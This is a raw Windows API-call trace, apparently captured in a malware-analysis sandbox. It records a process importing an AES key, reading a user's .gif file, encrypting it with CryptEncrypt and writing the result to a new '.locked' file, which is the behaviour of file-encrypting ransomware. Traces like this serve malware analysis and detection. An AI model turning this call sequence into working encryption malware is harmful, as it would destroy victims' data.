SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.513] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.513] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.513] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.513] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.513] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.513] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.513] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.513] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.513] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.513] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0136.513] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.514] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0136.514] SystemFunction041 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.514] SystemFunction040 (in: Memory=0x8ebfb5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfb5c) returned 0x0 [0136.514] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.515] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.515] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0136.516] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396a38) returned 1 [0136.517] CryptImportKey (in: hProv=0x4396a38, pbData=0x698be04, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84c38) returned 1 [0136.517] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.517] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.517] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.517] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.517] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.519] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif")) returned 0x20 [0136.519] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif")) returned 0x20 [0136.519] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.519] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.519] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.519] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.519] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.519] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.519] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.519] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.520] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.521] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.521] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0136.522] GetFileType (hFile=0x764) returned 0x1 [0136.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.522] GetFileType (hFile=0x764) returned 0x1 [0136.522] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.522] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.522] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.522] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.522] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.523] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked", lpFilePart=0x0) returned 0x5e [0136.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.523] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0136.523] GetFileType (hFile=0x778) returned 0x1 [0136.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.524] GetFileType (hFile=0x778) returned 0x1 [0136.524] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.524] CryptGenRandom (in: hProv=0x4396a38, dwLen=0x10, pbBuffer=0x69a7148 | out: pbBuffer=0x69a7148) returned 1 [0136.524] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.524] CryptDuplicateKey (in: hKey=0x8e84c38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84b38) returned 1 [0136.524] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.524] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x4, pbData=0x69a8404*=0x1, dwFlags=0x0) returned 1 [0136.524] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x1, pbData=0x69a83d0, dwFlags=0x0) returned 1 [0136.524] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x2c30\x438\x242") returned 0x0 [0136.524] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.524] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.524] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.525] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.525] ReadFile (in: hFile=0x764, lpBuffer=0x69aba28, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69aba28*, lpNumberOfBytesRead=0x99ae7a8*=0x7e93, lpOverlapped=0x0) returned 1 [0136.525] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69bfa34*, pdwDataLen=0x99ae79c*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x69bfa34*, pdwDataLen=0x99ae79c*=0x7e90) returned 1 [0136.525] WriteFile (in: hFile=0x778, lpBuffer=0x69a7208*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69a7208*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0136.526] WriteFile (in: hFile=0x778, lpBuffer=0x69c0a20*, nNumberOfBytesToWrite=0x6ea4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69c0a20*, lpNumberOfBytesWritten=0x99ae780*=0x6ea4, lpOverlapped=0x0) returned 1 [0136.527] ReadFile (in: hFile=0x764, lpBuffer=0x69aba28, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69aba28*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.527] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69c78e8*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69c78e8*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.527] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69c791c*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69c791c*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.527] WriteFile (in: hFile=0x778, lpBuffer=0x69a7208*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69a7208*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0136.527] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif", lpFilePart=0x0) returned 0x57 [0136.527] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.528] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.528] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.528] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.528] GetFileAttributesW 